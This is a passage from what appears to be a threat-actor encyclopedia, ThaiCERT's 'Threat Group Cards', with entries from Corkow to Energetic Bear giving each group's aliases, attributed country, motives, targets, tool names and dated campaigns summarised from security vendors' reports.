ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Corkow, Metel Names Corkow (Group-IB) Metel (Kaspersky) Country Russia Motivation Financial gain Description (Group-IB) In February 2015 the first major successful attack on a Russian trading system took place, when hackers gained unsanctioned access to trading system terminals using a Trojan resulting in trades of more than $400million. The criminals made purchases and sales of US dollars in the Dollar/Ruble exchange program on behalf of a bank using malware. The attack itself lasted only 14 minutes, however, it managed to cause a high volatility in the exchange rate of between 55/62 (Buy/Sell) rubles per 1 dollar instead of the 60-62 stable range. To conduct the attack criminals used the Corkow malware, also known as Metel, containing specific modules designed to conduct thefts from trading systems, such as QUIK operated by ARQA Technologies and TRANSAQ from ZAO Screen market systems . Corkow provided remote access to the ITS-Broker system terminal by Platforma soft Ltd., which enabled the fraud to be committed. In August 2015 a new incident related to the Corkow (Metel) Trojan was detected. An attack on a bank card systems, which included about 250 banks which used the bank card system to service cash withdrawals from Visa and MasterCard cards under a special tariff. This attack resulted in the hundreds of millions of rubles being stolen via ATMs of the systems members. Observed Sectors: Financial. Countries: Argentina, Austria, Belarus, Brazil, Croatia, Cyprus, Denmark, Estonia, France, Germany, Italy, Kazakhstan, Latvia, Mexico, Peru, Poland, Singapore, Spain, Switzerland, Russia, Thailand, Turkey, UK, Ukraine and USA. Tools used Corkow, Metel. Information Threat Group Cards: A Threat Actor Encyclopedia Covellite Names Covellite (Dragos) Country North Korea Motivation Information theft and espionage Description (Dragos) Covellite compromises networks associated with civilian electric energy worldwide and gathers intelligence on intellectual property and internal industrial operations. Covellite lacks an industrial control system (ICS) specific capability at this time. Covellite operates globally with targets primarily in Europe, East Asia, and North America. US targets emerged in September 2017 with a small, targeted phishing campaign directed at select U.S. electric companies. The phishing emails contained a malicious Microsoft Word document and infected computers with malware. The malicious emails discovered in the fall masqueraded as resumes or invitations. They delivered a remote access tool (RAT) payload which was used to conduct reconnaissance and enable persistent, covert access to victims machines. Covellite s infrastructure and malware are similar to the hacking organization known as Lazarus Group, Hidden Cobra, Labyrinth Chollima by Novetta and Hidden Cobra by the U.S. Department of Homeland Security. Lazarus Group is responsible for attacks ranging from the 2014 attack on Sony Pictures to a number of Bitcoin heists in 2017. Technical analysis of Covellite malware indicates an evolution from known Lazarus toolkits. However, aside from technical overlap, it is not known how the capabilities and operations between Covellite and Lazarus are related. Covellite remains active but appears to have abandoned North American targets, with indications of activity in Europe and East Asia. Given the group s specific interest in infrastructure operations, rapidly improving capabilities, and history of aggressive targeting, Dragos considers this group a primary threat to the ICS industry. Observed Sectors: Energy. Countries: East Asia, Europe and USA. Tools used Information Threat Group Cards: A Threat Actor Encyclopedia Cutting Kitten, TG-2889 Names Cutting Kitten (CrowdStrike) TG-2889 (SecureWorks) Country Iran Sponsor State-sponsored, security company ITSecTeam Motivation Information theft and espionage Description Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). This group evolved into Magic Hound, APT 35, Cobalt Gypsy, Rocket Kitten. Observed Sectors: Aerospace, Airlines, Airports, Chemical, Defense, Education, Energy, Financial (banks: Bank of America, US Bancorp, Fifth Third Bank, Citigroup, PNC, BB&T, Wells Fargo, Capital One and HSBC), Government, Healthcare, Oil and gas, Technology, Telecommunications, Transportation and Utilities. Countries: Canada, China, France, Germany, India, Israel, Kuwait, Mexico, Netherlands, Pakistan, Qatar, Saudi Arabia, South Korea, Turkey, UAE, UK and USA. Tools used CsExt, Jasus, KAgent, Net Crawler, PvcOut, SynFlooder, TinyZBot, WndTest and ZhMimikatz. Operations performed 2012 Operation Cleaver Operation Cleaver has, over the past several years, conducted a significant global surveillance and infiltration campaign. To date it has successfully evaded detection by existing security technologies. The group is believed to work from Tehran, Iran, although auxiliary team members were identified in other locations including the Netherlands, Canada, and the UK. The group successfully leveraged both publicly available, and customized tools to attack and compromise targets around the globe. The targets include military, oil and gas, energy and utilities, transportation, airlines, airports, hospitals, telecommunications, technology, education, aerospace, Defense Industrial Base (DIB), chemical companies, and governments. 2013 Attack on the Bowman Avenue Dam Iranian hackers infiltrated the control system of a small dam less than 20 miles from New York City two years ago, sparking concerns that reached to the White House, according to former and current U.S. officials and experts familiar with the previously undisclosed incident. 2015 Network of Fake LinkedIn Profiles While tracking a suspected Iran-based threat group known as Threat Group-2889 (TG-2889), Dell SecureWorks Counter Threat Unit (CTU) researchers uncovered a network of fake LinkedIn profiles. These convincing profiles form a self-referenced network of seemingly established LinkedIn users. CTU researchers assess with high Threat Group Cards: A Threat Actor Encyclopedia confidence the purpose of this network is to target potential victims through social engineering. Counter operations MITRE ATT&CK U.S. indicts Iranians for hacking dozens of banks, New York dam (2016) Threat Group Cards: A Threat Actor Encyclopedia Dark Caracal Names Dark Caracal (Lookout) Country Lebanon Sponsor State-sponsored, General Directorate of General Security (GDGS) Motivation Information theft and espionage Description (Lookout) Lookout and Electronic Frontier Foundation (EFF) have discovered Dark Caracal3, a persistent and prolific actor, who at the time of writing is believed to be administered out of a building belonging to the Lebanese General Security Directorate in Beirut. At present, we have knowledge of hundreds of gigabytes of exfiltrated data, in 21+ countries, across thousands of victims. Stolen data includes enterprise intellectual property and personally identifiable information. We are releasing more than 90 indicators of compromise (IOC) associated with Dark Caracal including 11 different Android malware IOCs; 26 desktop malware IOCs across Windows, Mac, and Linux; and 60 domain/IP based IOCs. Dark Caracal targets include individuals and entities that a nation state might typically attack, including governments, military targets, utilities, financial institutions, manufacturing companies, and defense contractors. We specifically uncovered data associated with military personnel, enterprises, medical professionals, activists, journalists, lawyers, and educational institutions during this investigation. Types of data include documents, call records, audio recordings, secure messaging client content, contact information, text messages, photos, and account data. Observed Sectors: Defense, Education, Financial, Government, Healthcare, Manufacturing, Utilities, activists, lawyers and journalists. Countries: China, France, Germany, India, Italy, Jordan, Lebanon, Nepal, Netherlands, Pakistan, Philippines, Qatar, Russia, Saudi Arabia, South Korea, Switzerland, Syria, Thailand, USA, Venezuela and Vietnam. Tools used Bandook, CrossRAT, FinFisher and Pallas. Information MITRE ATT&CK 3 See ThaiCERT Whitepaper Dark Caracal Campaign Threat Group Cards: A Threat Actor Encyclopedia DarkHotel Names DarkHotel (Kaspersky) APT-C-06 (360) SIG25 (NSA) Dubnium (Microsoft) Fallout Team (FireEye) Shadow Crane (CrowdStrike) Country South Korea Sponsor State-sponsored Motivation Information theft and espionage Description (SecurityWeek) The activities of the DarkHotel advanced persistent threat (APT) actor came to light in November 2014, when Kaspersky published a report detailing a sophisticated cyberespionage campaign targeting business travelers in the Asia-Pacific region. The group has been around for nearly a decade and some researchers believe its members are Korean speakers. The attackers targeted their victims using several methods, including through their hotel s Wi-Fi, zero-day exploits and peer-to-peer (P2P) file sharing websites. Nearly one year later, the threat group was observed using new attack techniques and an exploit leaked from Italian spyware maker Hacking Team. DarkHotel victims have been spotted in several countries, including North Korea, Russia, South Korea, Japan, Bangladesh, Thailand, Taiwan, China, the United States, India, Mozambique, Indonesia and Germany. Up until recently, the attacks appeared to focus on company executives, researchers and development personnel from sectors such as defense industrial base, military, energy, government, NGOs, electronics manufacturing, pharmaceutical, and medical. In more recent DarkHotel attacks it has dubbed Inexsmar, security firm Bitdefender said the hackers targeted political figures, and they appeared to be using some new methods. Observed Sectors: Defense, Energy, Government, Healthcare, NGOs, Pharmaceutical, Research and Technology. Countries: Bangladesh, Belgium, China, Germany, Greece, Hong Kong, India, Indonesia, Ireland, Italy, Japan, Kazakhstan, Lebanon, North Korea, Mexico, Mozambique, Pakistan, Philippines, Russia, Serbia, Singapore, South Korea, Taiwan, Thailand, UAE, USA and others. Tools used DarkHotel, GreezeBackdoor, Luder, Nemim, Pioneer and Tapaoux. Operations performed 2010 Operation DarkHotel Target: The travelers are often top executives from a variety of industries doing business and outsourcing in the APAC region. Targets have included CEOs, senior vice presidents, sales and marketing directors and top R&D staff. Method: spear-phishing targets with highly advanced Flash zeroday exploits that effectively evade the latest Windows and Adobe defenses, and yet they also imprecisely spread among large numbers of vague targets with peer-to-peer spreading tactics. Moreover, this crew s most unusual characteristic is that for several years the Darkhotel APT has maintained a capability to Threat Group Cards: A Threat Actor Encyclopedia use hotel networks to follow and hit selected targets as they travel around the world. MITRE ATT&CK 2015 Darkhotel s attacks in 2015 Dec 2015 Operation Daybreak Method: Uses Flash zero-day exploit for CVE-2015-8651. Note: not the same operation as ScarCruft s Operation Daybreak Sep 2016 Operation Inexsmar Target: seems to be used in a campaign that targets political figures rather than the usual corporate research and development personnel, CEOs and other senior corporate officials. Method: This attack uses a new payload delivery mechanism rather than the consecrated zero-day exploitation techniques, blending social engineering with a relatively complex Trojan to infect its selected pool of victims. Threat Group Cards: A Threat Actor Encyclopedia DarkHydrus, LazyMeerkat Names DarkHydrus (Palo Alto) LazyMeerkat (Kaspersky) Country Iran Motivation Information theft and espionage Description DarkHydrus is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016. The group heavily leverages open-source tools and custom payloads for carrying out attacks. Observed Sectors: Education and Government. Countries: Middle East. Tools used Cobalt Strike, Mimikatz, Phishery and RogueRobin. Operations performed Jun 2018 On June 24, 2018, Unit 42 observed DarkHydrus carrying out a credential harvesting attack on an educational institution in the Middle East. The attack involved a spear-phishing email with a subject of Project Offer and a malicious Word document as an attachment. Jul 2018 Attack on Middle East Government This attack diverged from previous attacks we observed from this group as it involved spear-phishing emails sent to targeted organizations with password protected RAR archive attachments that contained malicious Excel Web Query files (.iqy). Jan 2019 New Attacks in the Middle East 360 Threat Intelligence Center captured several lure Excel documents written in Arabic in January 9, 2019. A backdoor dropped by macro in the lure documents can communicate with C2 server through DNS tunnel, as well as Google Drive API. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Deep Panda, APT 26, Shell Crew, WebMasters, KungFu Kittens Names Deep Panda (CrowdStrike) APT 26 (Mandiant) Shell Crew (RSA) WebMasters (Kaspersky) KungFu Kittens (FireEye) Group 13 (Talos) PinkPanther (RSA) Black Vine (Symantec) Country China Motivation Information theft, espionage and financial gain Description Deep Panda is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. The intrusion into healthcare company Anthem has been attributed to Deep Panda. This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. Deep Panda also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. Some analysts track Deep Panda and APT 19, C0d0so as the same group, but it is unclear from open source information if the groups are the same. Observed Sectors: Defense, Financial, Government, Non-profit organizations, Telecommunications and Think Tanks. Countries: Australia, Southeast Asia and USA. Tools used Cobalt Strike, Derusbi, JerseyMikes, Mivast, PlugX, Sakula, StreamEx and Tasklist. Operations performed Dec 2012 Attack and IE 0day Information Used Against Council on Foreign Relations Regarding information s posted on the Washington Free Beacon, infected CFR.org website was used to attack visitors in order to extract valuable information s. The drive-by attack was detected around 2:00 pm on Wednesday 26 December and CFR members who visited the website between Wednesday and Thursday could have been infected and their data compromised, the specialists said. Dec 2012 Capstone Turbine Corporation Also Targeted in the CFR Watering Hole Attack Mar 2013 Breach of the US Department of Labor website On April 30, 2013, CrowdStrike was alerted to a strategic web compromise on a US Department of Labor website that was redirecting visitors to an attacker s infrastructure. Eight other compromised sites were also reported to be similarly compromised with the data suggesting that this campaign began in mid-March. Early 2014 Breaches of National Security Think Tanks This actor, who was engaged in targeting and collection of Southeast Asia policy information, suddenly began targeting individuals with a tie Threat Group Cards: A Threat Actor Encyclopedia to Iraq/Middle East issues. This is undoubtedly related to the recent Islamic State of Iraq and the Levant (ISIS) takeover of major parts of Iraq and the potential disruption for major Chinese oil interests in that country. In fact, Iraq happens to be the fifth-largest source of crude oil imports for China and the country is the largest foreign investor in Iraq s oil sector. Mar 2014 Breach of the US Office of Personnel Management OPM investigates a breach of its computer networks dating back to March 2014. Authorities trace the intrusion to China. OPM offers employees free credit monitoring and assures employees that no personal data appears to have been stolen. Apr 2014 Breach of health insurance company Anthem Aug 2014 Breach of USIS It emerges that USIS, a background check provider for the U.S. Department of Homeland Security, was hacked. USIS offers 27,000 DHS employees credit monitoring through AllClearID (full disclosure: AllClear is an advertiser on this blog). Investigators say Chinese are hackers responsible, and that the attackers broke in by exploiting a vulnerability in an enterprise management software product from SAP. Jul 2014 Sakula Malware to Target Organizations in Multiple Sectors Over the last few months, the CrowdStrike Intelligence team has been tracking a campaign of highly targeted events focused on entities in the U.S. Defense Industrial Base (DIB), healthcare, government, and technology sectors. This campaign infected victims with Sakula malware variants that were signed with stolen certificates. Nov 2014 Breaches of Australian media organizations ahead of G20 We started to see activity over the last couple of weeks targeting Australian media organizations and we believe that s related to the G20, Dmitri Alperovitch, co-founder of US computer security company CrowdStrike, told the ABC s 7.30 program. Dec 2014 Breach of KeyPoint Government Solutions KeyPoint Government Solutions, which took over the bulk of federal background checks after one of its competitors was hacked, also recently suffered a computer network breach, officials said Thursday. Threat Group Cards: A Threat Actor Encyclopedia Counter operations May 2015 Breach of health insurance company Premera Blue Cross Premera Blue Cross, one of the insurance carriers that participates in the Federal Employees Health Benefits Program, discloses a breach affecting 11 million customers. Federal auditors at OPM warned Premera three weeks prior to the breach that its network security procedures were inadequate. May 2015 Breach of health insurance company Carefirst Blue Cross CareFirst BlueCross BlueShield on Wednesday said it had been hit with a data breach that compromised the personal information on approximately 1.1 million customers. There are indications that the same attack methods may have been used in this intrusion as with breaches at Anthem and Premera, incidents that collectively involved data on more than 90 million Americans. May 2015 StreamEx malware Cylance SPEAR has identified a newer family of samples deployed by Shell Crew that has flown under AV s radar for more than a year and a half. Simple programmatic techniques continue to be effective in evading signature-based detection. US Arrests Chinese Man Involved With Sakula Malware Used in OPM and Anthem Hacks (2017) U.S. Indicts Chinese Hacker-Spies in Conspiracy to Steal Aerospace Secrets (2018) Chinese national indicted for 2015 Anthem breach (2019) Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Desert Falcons Names Desert Falcons (Kaspersky) APT-C-23 (360) Two-tailed Scorpion (360) Country Gaza Motivation Information theft and espionage Description (Kaspersky) The Global Research and Analysis Team (GReAT) at Kaspersky Lab has uncovered new targeted attacks in the Middle East. Native Arabic-speaking cybercriminals have built advanced methods and tools to deliver, hide and operate malware that they have also developed themselves. This malware was originally discovered during an investigation of one of the attacks in the Middle East. Political activities and news are being actively used by the cybercriminals to entice victims into opening files and attachments. Content has been created with professionalism, with well-designed visuals and interesting, familiar details for the victims, as if the information were long awaited. The victims of the attacks to date have been carefully chosen; they are active and influential in their respective cultures, but also attractive to the cybercriminals as a source of intelligence and a target for extortion. The attackers have been operating for more than two years now, running different campaigns, targeting different types of victims and different types of devices (including Windows- and Android-based). We suspect that at least 30 people distributed across different countries are operating the campaigns Observed Sectors: Defense, Education, Government and Infrastructure. Countries: Albania, Algeria, Australia, Belgium, Bosnia and Herzegovina, Canada, China, Cyprus, Denmark, Egypt, France, Germany, Greece, Hungary, India, Iran, Iraq, Israel, Italy, Japan, Jordan, Kuwait, Lebanon, Libya, Mali, Mauritania, Mexico, Morocco, Netherlands, Norway, Pakistan, Palestine, Portugal, Qatar, Romania, Russia, Saudi Arabia, South Korea, Sudan, Sweden, Syria, Taiwan, Turkey, UAE, Ukraine, USA, Uzbekistan, Yemen and Zimbabwe. Tools used FrozenCell, GlanceLove, GnatSpy, KASPERAGENT, MICROPSIA, VAMP and ViperRAT. Operations performed Jan 2015 Operation Arid Viper Operation Arid Viper attacked five Israeli-based organizations in the government, transport, infrastructure, military, and academic industries, and one organization in Kuwait using spear-phishing emails that dropped a pornographic video on a victim's computer. Sep 2015 Proofpoint researchers recently intercepted and analyzed phishing emails distributing Arid Viper malware payloads with some noteworthy updates. As with the originally documented examples, these messages were part of narrow campaigns targeting specific industry verticals: telecoms, high tech, and business services, primarily in Israel. Threat Group Cards: A Threat Actor Encyclopedia Information Jul 2016 Around July last year, more than a 100 Israeli servicemen were hit by a cunning threat actor. The attack compromised their devices and exfiltrated data to the attackers command and control server. In addition, the compromised devices were pushed Trojan updates, which allowed the attackers to extend their capabilities. The operation remains active at the time of writing this post, with attacks reported as recently as February 2017. Apr 2017 ThreatConnect has identified a KASPERAGENT malware campaign leveraging decoy Palestinian Authority documents. The samples date from April May 2017, coinciding with the run up to the May 2017 Palestinian Authority elections. Apr 2017 We identified one specific spear phishing campaign launched against targets within Palestine, and specifically against Palestinian law enforcement agencies. This campaign started in April 2017, using a spear phishing campaign to deliver the MICROPSIA payload in order to remotely control infected systems. Sep 2017 FrozenCell is the mobile component of a multi-platform attack we've seen a threat actor known as "Two-tailed Scorpion/APT-C-23," use to spy on victims through compromised mobile devices and desktops. Dec 2017 Recently, Trend Micro researchers came across a new mobile malware family which we have called GnatSpy. We believe that this is a new variant of VAMP, indicating that the threat actors behind APTC-23 are still active and continuously improving their product. Some C&C domains from VAMP were reused in newer GnatSpy variants, indicating that these attacks are connected. We detect this new family as ANDROIDOS_GNATSPY. Threat Group Cards: A Threat Actor Encyclopedia DNSpionage Names DNSpionage (Talos) Country Iran Sponsor State-sponsored Motivation Information theft and espionage Description (Talos) Cisco Talos recently discovered a new campaign targeting Lebanon and the United Arab Emirates (UAE) affecting .gov domains, as well as a private Lebanese airline company. Based on our research, it's clear that this adversary spent time understanding the victims' network infrastructure in order to remain under the radar and act as inconspicuous as possible during their attacks. Based on this actor's infrastructure and TTPs, we haven't been able to connect them with any other campaign or actor that's been observed recently. This particular campaign utilizes two fake, malicious websites containing job postings that are used to compromise targets via malicious Microsoft Office documents with embedded macros. The malware utilized by this actor, which we are calling "DNSpionage," supports HTTP and DNS communication with the attackers. Observed Sectors: Airlines, Government, Law Enforcement, Telecommunications and Internet infrastructure. Countries: Albania, Cyprus, Egypt, Iraq, Jordan, Kuwait, Lebanon, Libya, North Africa, Sweden, UAE and USA. Tools used DNSpionage and Karkoff. Operations performed Apr 2019 Information DNSpionage brings out the Karkoff Threat Group Cards: A Threat Actor Encyclopedia Domestic Kitten Names Domestic Kitten (Check Point) Country Iran Motivation Information theft and espionage Description (Check Point) Recent investigations by Check Point researchers reveal an extensive and targeted attack that has been taking place since 2016 and, until now, has remained under the radar due to the artful deception of its attackers towards their targets. Through the use of mobile applications, those behind the attack use fake decoy content to entice their victims to download such applications, which are in fact loaded with spyware, to then collect sensitive information about them. Interestingly, these targets include Kurdish and Turkish natives and ISIS supporters. Most interesting of all, though, is that all these targets are actually Iranians citizens. Considering the nature of the target, the data collected about these groups provides those behind the campaign with highly valuable information that will no doubt be leveraged in further future action against them. Indeed, the malware collects data including contact lists stored on the victim s mobile device, phone call records, SMS messages, browser history and bookmarks, geo-location of the victim, photos, surrounding voice recordings and more. Observed Countries: Afghanistan, Iran, Iraq and UK. The targets are Kurdish and Turkish natives and ISIS supporters. Tools used Information Threat Group Cards: A Threat Actor Encyclopedia Donot Team Names Donot Team (ASERT) APT-C-35 (360) Country [Unknown] Motivation Information theft and espionage Description (ASERT) In late January 2018, ASERT discovered a new modular malware framework we call "yty". The framework shares a striking resemblance to the EHDevel framework. We believe with medium confidence that a team we call internally as "Donot Team" is responsible for the new malware and will resume targeting of South Asia. In a likely effort to disguise the malware and its operations, the authors coded several references into the malware for football it is unclear whether they mean American football or soccer. The theme may allow the network traffic to fly under the radar. The actors use false personas to register their domains instead of opting for privacy protection services. Depending on the registrar service chosen, this could be seen as another cost control measure. The actors often used typo-squatting to slightly alter a legitimate domain name. In contrast, the registration information used accurate spelling, possibly indicating the domain naming was intentional, typos included. Each unique registrant usually registered only a few domains, but mistakenly reused phone numbers or the registration data portrayed a similar pattern across domains. Observed Sectors: Government. Countries: Pakistan. Tools used EHDevel and yty. Operations performed Apr 2019 Information StealJob: New Android Malware Recently, we have observed a large-scale upgrade of its malicious Android APK framework to make it more stable and practical. Since the new APK framework is quite different from the one used in the past, we named it as StealJob since is frequently used in the code. Threat Group Cards: A Threat Actor Encyclopedia DragonOK Names DragonOK (FireEye) Country China Motivation Information theft and espionage Description DragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, Poison Ivy, FormerFirstRat, NFlog, and NewCT. Observed Sectors: High-Tech and Manufacturing. Countries: Cambodia, Japan, Russia, Taiwan and Tibet. Tools used FormerFirstRAT, HelloBridge, HTRAN, IsSpace, KHRAT, NewCT, NFlog, PlugX, Poison Ivy, Rambo, Sysget and TidePool. Operations performed Jan 2015 This campaign involved five separate phishing attacks, each carrying a different variant of Sysget malware, also known as HelloBridge. The malware was included as an attachment intended to trick the user into opening the malware. All five phishing campaigns targeted a Japanese manufacturing firm over the course of two months, but the final campaign also targeted a separate Japanese high-tech organization. 2016 In recent months, Unit 42 has observed a number of attacks that we attribute to this group. Multiple new variants of the previously discussed sysget malware family have been observed in use by DragonOK. Sysget malware was delivered both directly via phishing emails, as well as in Rich Text Format (RTF) documents exploiting the CVE-2015-1641 vulnerability that in turn leveraged a very unique shellcode. Jan 2017 Cybersecurity expert Niklas Femerstrand in an email yesterday pointed out that while servers in several different countries appear to be the origin the attack, it has been linked to the DragonOK campaign. The DragonOK campaign has previously [in 2014] targeted organizations in Taiwan, Japan, Tibet and Russia, and political organizations in Cambodia since at least January, 2017, he wrote, adding that there are strong indications the campaign is operation funded by China Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia DustSquad Names DustSquad (Kaspersky) Country [Unknown] Motivation Information theft and espionage Description (Kaspersky) For the last two years we have been monitoring a Russian-language cyberespionage actor that focuses on Central Asian users and diplomatic entities. We named the actor DustSquad and have provided private intelligence reports to our customers on four of their campaigns involving custom Android and Windows malware. In this blogpost we cover a malicious program for Windows called Octopus that mostly targets diplomatic entities. The name was originally coined by ESET in 2017 after the 0ct0pus3.php script used by the actor on their old C2 servers. We also started monitoring the malware and, using Kaspersky Attribution Engine based on similarity algorithms, discovered that Octopus is related to DustSquad, something we reported in April 2018. In our telemetry we tracked this campaign back to 2014 in the former Soviet republics of Central Asia (still mostly Russian-speaking), plus Afghanistan. Observed Sectors: Government. Countries: Afghanistan and Central Asia. Tools used Octopus. Information Threat Group Cards: A Threat Actor Encyclopedia Dust Storm Names Dust Storm (Cylance) Country [Unknown] Sponsor Seems state-sponsored Motivation Information theft and espionage Description (Cylance) Very little public information was available throughout 2010 on this threat, despite the group s primary backdoor gaining some level of prominence in targeted Asian attacks. This may be explained by the group s early reliance on Dynamic DNS domains for their command and control (C2) infrastructure, as well as their use of public RATs like Poison Ivy and Gh0st RAT for second-stage implants. It wasn t until June 2011 that Operation Dust Storm started to garner some notoriety from a series of attacks which leveraged an unpatched Internet Explorer 8 vulnerability, CVE-2011-1255, to gain a foothold into victim networks. In these attacks, a link to the exploit was sent via a spear phishing email from a purported Chinese student seeking advice or asking the target a question following a presentation. As to other documented cases, the attacker started interacting with the infected machine within minutes of compromise to begin manual network and host enumeration. In October 2011, the group attempted to take advantage of the ongoing Libyan crisis at the time and phish the news cycle regarding Muammar Gaddafi s death on October 20, 2011. It appears that in addition to some US defense targets, this campaign was also directed at a Uyghur mailing list. This time, the group used a specially crafted malicious Windows Help (.hlp) file, which exploited CVE-20101885. Observed Sectors: Energy and Oil and gas. Countries: Japan, South Korea, USA, Europe and Southeast Asia. Tools used Gh0st RAT, Misdat, MiS-Type, Poison Ivy and S-Type. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Elderwood, Sneaky Panda Names Elderwood (Symantec) Elderwood Gang (Symantec) Sneaky Panda (CrowdStrike) SIG22 (NSA) Beijing Group (SecureWorks) Country China Motivation Information theft and espionage Description (Symantec) In 2009, Google was attacked by a group using the Hydraq (Aurora) Trojan horse. Symantec has monitored this group s activities for the last three years as they have consistently targeted a number of industries. Interesting highlights in their method of operations include: the use of seemingly an unlimited number of zero-day exploits, attacks on supply chain manufacturers who service the target organization, and a shift to watering hole attacks (compromising certain websites likely to be visited by the target organization). The targeted industry sectors include, but are not restricted to; defense, various defense supply chain manufacturers, human rights and non-governmental organizations (NGOs), and IT service providers. These attackers are systematic and re-use components of an infrastructure we have termed the Elderwood platform . The name Elderwood comes from a source code variable used by the attackers. This attack platform enables them to quickly deploy zero-day exploits. Attacks are deployed through spear phishing emails and also, increasingly, through Web injections in watering hole attacks. It is likely the attackers have gained access to the source code for some widely used applications, or have thoroughly reverse-engineered the compiled applications in order to discover these vulnerabilities. The vulnerabilities are used as needed, often within close succession of each other if exposure of any of the vulnerabilities is imminent. The scale of the attacks, in terms of the number of victims and the duration of the attacks, are another indication of the resources available to the attackers. Victims are attacked, not for petty crime or theft, but for the wholesale gathering of intelligence and intellectual property. The resources required to identify and acquire useful information let alone analyze that information could only be provided by a large criminal organization, attackers supported by a nation state, or a nation state itself. Observed Sectors: Defense, Education, Energy, Financial, and Government. Countries: Australia, Canada, China, Denmark, Hong Kong, India, Switzerland, Taiwan, UK and USA. Tools used Briba, Gh0st RAT, Hydraq, Linfo, Naid, Nerex, Pasam, Poison Ivy, Vasport and Wiarp. Operations performed 2009 Operation Aurora First publicly disclosed by Google on January 12, 2010, in a blog post, the attacks began in mid-2009 and continued through December 2009. The attack has been aimed at dozens of other organizations, of which Adobe Systems, Juniper Networks and Rackspace have publicly confirmed that they were targeted. According to media reports, Yahoo, Symantec, Northrop Grumman, Morgan Stanley and Dow Chemical were also among the targets. Threat Group Cards: A Threat Actor Encyclopedia Nov 2010 Visitors to Amnesty International's Hong Kong website are being bombarded with a host of lethal exploits, including one that attacks an unpatched vulnerability in Microsoft's Internet Explorer browser, researchers at security firm Websense said. May 2012 Amnesty International UK's website was hacked early this week in an assault ultimately geared towards planting malware onto the PCs of visiting surfers. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia El Machete Names El Machete (Kaspersky) Country [Unknown] Motivation Information theft and espionage Description (Kaspersky) Machete is a targeted attack campaign with Spanish speaking roots. We believe this campaign started in 2010 and was renewed with an improved infrastructure in 2012. The operation may be still active The malware is distributed via social engineering techniques, which includes spearphishing emails and infections via Web by a fake Blog website. We have found no evidence of exploits targeting zero-day vulnerabilities. Both the attackers and the victims appear to be Spanish-speaking. Observed Sectors: Defense, Embassies, Government, and Telecommunications. Countries: Argentina, Belgium, Bolivia, Brazil, Canada, China, Colombia, Cuba, Dominican Republic, Ecuador, France, Germany, Guatemala, Malaysia, Nicaragua, Mexico, South Korea, Spain, Peru, Russia, Spain, Sweden, UK, Ukraine, USA and Venezuela among others. In some cases, such as Russia, the target appears to be an embassy from one of the countries of this list. Tools used Machete. Operations performed Mar 2017 Information ve found that this group has continued to operate successfully, predominantly in Latin America, since 2014. All attackers simply moved to new C2 infrastructure, based largely around dynamic DNS domains, in addition to making minimal changes to the malware in order to evade signature-based detection. Threat Group Cards: A Threat Actor Encyclopedia Energetic Bear, Dragonfly Names Energetic Bear (CrowdStrike) Dragonfly (Symantec) Crouching Yeti (Kaspersky) Group 24 (Talos) Koala Team (iSight) Iron Liberty (SecureWorks) Electrum (Dragos) Country Russia Motivation Sabotage and destruction Description Dragonfly is a cyberespionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. According to Kaspersky, Crouching Yeti has been operating since at least 2010 and has infected roughly 2,800 targets in 38 countries, and in industries as diverse as education and pharmaceuticals. A similar group emerged in 2015 and was identified by Symantec as Berserk Bear, Dragonfly 2.0. There is debate over the extent of the overlap between Dragonfly and Berserk Bear, Dragonfly 2.0, but there is sufficient evidence to lead to these being tracked as two separate groups. Observed Sectors: Construction, Education, Energy, Industrial, IT, Manufacturing, Oil and gas and Pharmaceutical. Countries: Canada, France, Germany, Greece, Italy, Poland, Romania, Russia, Serbia, Spain, Turkey, UK, Ukraine and USA. Tools used Commix, CrashOverride, Dirsearch, Dorshel, Havex RAT, Hello, Heriplor, Impacket, Industroyer, Inveigh, Karagany, Lightsout, Listrix, nmap, Oldrea, PHPMailer, PSExec, SMBTrap, Sqlmap, Subbrute, Sublist3r, Sysmain, Wpscan and WSO. Operations performed Feb 2013 Spam campaign The Dragonfly group has used at least three infection tactics against targets in the energy sector. The earliest method was an email spear phishing campaign, which saw selected executives and senior employees in target companies receive emails containing a malicious PDF attachment. Infected emails had one of two subject lines: account or Settlement of delivery problem Jun 2013 Watering Hole Attacks using Lightsout In June 2013, the attackers shifted their focus to watering hole attacks. They compromised a number of energy-related websites and injected an iframe into each of them. This iframe then redirected visitors to another compromised legitimate website hosting the Lightsout exploit kit. This in turn exploited either Java or Internet Explorer in order to drop Oldrea or Karagany on the victim s computer. Sep 2013 Watering Hole Attacks using Hello In September 2013, Dragonfly began using a new version of this exploit kit, known as the Hello exploit kit. The landing page for this kit Threat Group Cards: A Threat Actor Encyclopedia contains JavaScript which fingerprints the system, identifying installed browser plugins. The victim is then redirected to a URL which in turn determines the best exploit to use based on the information collected. 2013 Trojanized software The most ambitious attack vector used by Dragonfly was the compromise of a number of legitimate software packages. Three different ICS equipment providers were targeted and malware was inserted into the software bundles they had made available for download on their websites Feb 2014 LightsOut EK Targets Energy Sector Late last year, the story broke that threat actors were targeting the energy sector with Remote Access Tools and Intelligence gathering malware. It would seem that the attackers responsible for this threat are back for more. This particular APT struck late February between 2/24-2/26. Dec 2015 Attack on Energy Companies in the Ukraine According to a statement posted this week on the official website of the Ukrainian security service SBU, Russian special services allegedly planted malware on the networks of several regional power companies. The malicious software is said to have been discovered by employees of the SBU. The SBU said the attackers also flooded the targeted companies technical support phone lines. The agency removed the malware and launched an investigation. Just before Christmas, power outages were reported in the IvanoFrankivsk Oblast region of Ukraine. The outages were blamed on outsiders who remotely tampered with automatic control systems. The power company responsible for the region also reported that its call center suffered a technical failure caused by a barrage of calls. 2016 This report by Kaspersky Lab ICS 